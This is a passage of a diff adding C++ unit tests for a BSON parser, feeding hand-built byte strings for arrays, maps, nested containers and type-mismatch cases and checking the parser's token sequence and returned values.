+ parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, ArrayTwoValue) +{ + //std::stringstream stream("[12,13]"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x13\x00\x00\x00" + "\x10" "0\x00" "\x0C\x00\x00\x00" + "\x10" "1\x00" "\x0D\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, ArrayThreeValue) +{ + //std::stringstream stream("[12,13,14]"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x0C\x00\x00\x00" + "\x10" "1\x00" "\x0D\x00\x00\x00" + "\x10" "2\x00" "\x0E\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, ArrayWithArray) +{ + //std::stringstream stream("[[]]"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0D\x00\x00\x00" + "\x04" "0\x00" + "\x05\x00\x00\x00" + "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, ArrayWithTwoArray) +{ + //std::stringstream stream("[[],[]]"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x15\x00\x00\x00" + "\x04" "0\x00" + "\x05\x00\x00\x00" + "\x00" + "\x04" "1\x00" + "\x05\x00\x00\x00" + "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, ArrayWithMap) +{ + //std::stringstream stream("[{}]"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0D\x00\x00\x00" + "\x03" "0\x00" + "\x05\x00\x00\x00" + "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, ArrayWithTwoMap) +{ + //std::stringstream stream("[{},{}]"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x15\x00\x00\x00" + "\x03" "0\x00" + "\x05\x00\x00\x00" + "\x00" + "\x03" "1\x00" + "\x05\x00\x00\x00" + "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, MapEmpty) +{ + //std::stringstream stream("{}"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x05\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, MapOneValue) +{ + //std::stringstream stream(R"({"One": 12})"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0E\x00\x00\x00" + "\x10" "One\x00" "\x0C\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, MapTwoValue) +{ + //std::stringstream stream(R"({"one": 12, "two": 13})"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x17\x00\x00\x00" + "\x10" "One\x00" "\x0C\x00\x00\x00" + "\x10" "Two\x00" "\x0D\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, MapThreeValue) +{ + //std::stringstream stream(R"({"one":12, "two": 13, "three": 14})"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x22\x00\x00\x00" + "\x10" "One\x00" "\x0C\x00\x00\x00" + "\x10" "Two\x00" "\x0D\x00\x00\x00" + "\x10" "Three\x00" "\x0E\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, MapWithArray) +{ + //std::stringstream stream(R"({"one": []})"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0F\x00\x00\x00" + "\x04" "one\x00" + "\x05\x00\x00\x00" + "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, MapWithTwoArray) +{ + //std::stringstream stream(R"({"one": [], "two": []}])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x19\x00\x00\x00" + "\x04" "one\x00" + "\x05\x00\x00\x00" + "\x00" + "\x04" "two\x00" + "\x05\x00\x00\x00" + "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, MapWithMap) +{ + //std::stringstream stream(R"({"one": {}})"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0F\x00\x00\x00" + "\x03" "one\x00" + "\x05\x00\x00\x00" + "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, MapWithTwoMap) +{ + //std::stringstream stream(R"({"one": {}, "two": {}})"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x19\x00\x00\x00" + "\x03" "one\x00" + "\x05\x00\x00\x00" + "\x00" + "\x03" "two\x00" + "\x05\x00\x00\x00" + "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, GetKeyValue) +{ + //std::stringstream stream(R"({"one": 15})"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0E\x00\x00\x00" + "\x10" "one\x00" "\x0F\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::MapStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Key, parser.getToken()); + + std::string key = parser.getKey(); + EXPECT_EQ("one", key); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + int value; + parser.getValue(value); + EXPECT_EQ(15, value); + + EXPECT_EQ(ParserInterface::ParserToken::MapEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, GetArrayValues) +{ + //std::stringstream stream(R"([true, false, 123, 123.4, "A String"])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x2F\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x00" + "\x10" "2\x00" "\x7B\x00\x00\x00" + "\x01" "3\x00" "\x9A\x99\x99\x99\x99\xD9\x5E\x40" + "\x02" "4\x00" "\x09\x00\x00\x00" "A String\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + bool test1 = false; + parser.getValue(test1); + EXPECT_EQ(true, test1); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + bool test2 = true; + parser.getValue(test2); + EXPECT_EQ(false, test2); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + int test3 = 0; + parser.getValue(test3); + EXPECT_EQ(123, test3); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + double test4 = 80; + parser.getValue(test4); + EXPECT_EQ(1234, (int)(test4*10)); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string test5; + parser.getValue(test5); + EXPECT_EQ("A String", test5); + + + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} + +TEST(BsonParserTest, getDataFromString_1) +{ + //std::stringstream stream(R"(["Test"])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x11\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "Test\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string value1; + ASSERT_NO_THROW( + parser.getValue(value1); + ); + EXPECT_EQ("Test", value1); +} + +TEST(BsonParserTest, getDataFromString_2) +{ + //std::stringstream stream(R"(["Test"])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x13\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "Test\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + short value2a; + ASSERT_ANY_THROW( + parser.getValue(value2a) + ); +} + +TEST(BsonParserTest, getDataFromString_3) +{ + //std::stringstream stream(R"(["Test"])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x11\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "Test\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + int value2b; + ASSERT_ANY_THROW( + parser.getValue(value2b) + ); +} + +TEST(BsonParserTest, getDataFromString_4) +{ + //std::stringstream stream(R"(["Test"])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x11\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "Test\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + long value2c; + ASSERT_ANY_THROW( + parser.getValue(value2c) + ); +} + +TEST(BsonParserTest, getDataFromString_5) +{ + //std::stringstream stream(R"(["Test"])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x11\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "Test\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + long long value2d; + ASSERT_ANY_THROW( + parser.getValue(value2d) + ); +} + +TEST(BsonParserTest, getDataFromString_6) +{ + //std::stringstream stream(R"(["Test"])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x11\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "Test\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + unsigned short value2e; + ASSERT_ANY_THROW( + parser.getValue(value2e) + ); +} + +TEST(BsonParserTest, getDataFromString_7) +{ + //std::stringstream stream(R"(["Test"])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x11\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "Test\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + unsigned int value2f; + ASSERT_ANY_THROW( + parser.getValue(value2f) + ); +} + +TEST(BsonParserTest, getDataFromString_8) +{ + //std::stringstream stream(R"(["Test"])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x11\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "Test\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + unsigned long value2g; + ASSERT_ANY_THROW( + parser.getValue(value2g) + ); +} + +TEST(BsonParserTest, getDataFromString_9) +{ + //std::stringstream stream(R"(["Test"])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x11\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "Test\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + unsigned long long value2h; + ASSERT_ANY_THROW( + parser.getValue(value2h) + ); + +} + +TEST(BsonParserTest, getDataFromString_a) +{ + //std::stringstream stream(R"(["Test"])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x11\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "Test\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + float value3a; + ASSERT_ANY_THROW( + parser.getValue(value3a) + ); +} + +TEST(BsonParserTest, getDataFromString_b) +{ + //std::stringstream stream(R"(["Test"])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x11\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "Test\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + double value3b; + ASSERT_ANY_THROW( + parser.getValue(value3b) + ); +} + +TEST(BsonParserTest, getDataFromString_c) +{ + //std::stringstream stream(R"(["Test"])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x11\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "Test\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); +} + +TEST(BsonParserTest, getDataFromString_d) +{ + //std::stringstream stream(R"(["Test"])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x11\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "Test\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + long double value3c; + ASSERT_ANY_THROW( + parser.getValue(value3c) + ); + +} + +TEST(BsonParserTest, getDataFromString_e) +{ + //std::stringstream stream(R"(["Test"])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x11\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "Test\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + bool value4; + ASSERT_ANY_THROW( + parser.getValue(value4) + ); +} + +TEST(BsonParserTest, getDataFromInt_1) +{ + //std::stringstream stream(R"([56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x10" "0\x00" "\x38\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string value1; + ASSERT_ANY_THROW( + parser.getValue(value1) + ); +} + +TEST(BsonParserTest, getDataFromInt_2) +{ + //std::stringstream stream(R"([56])"); + using ParserConfig = 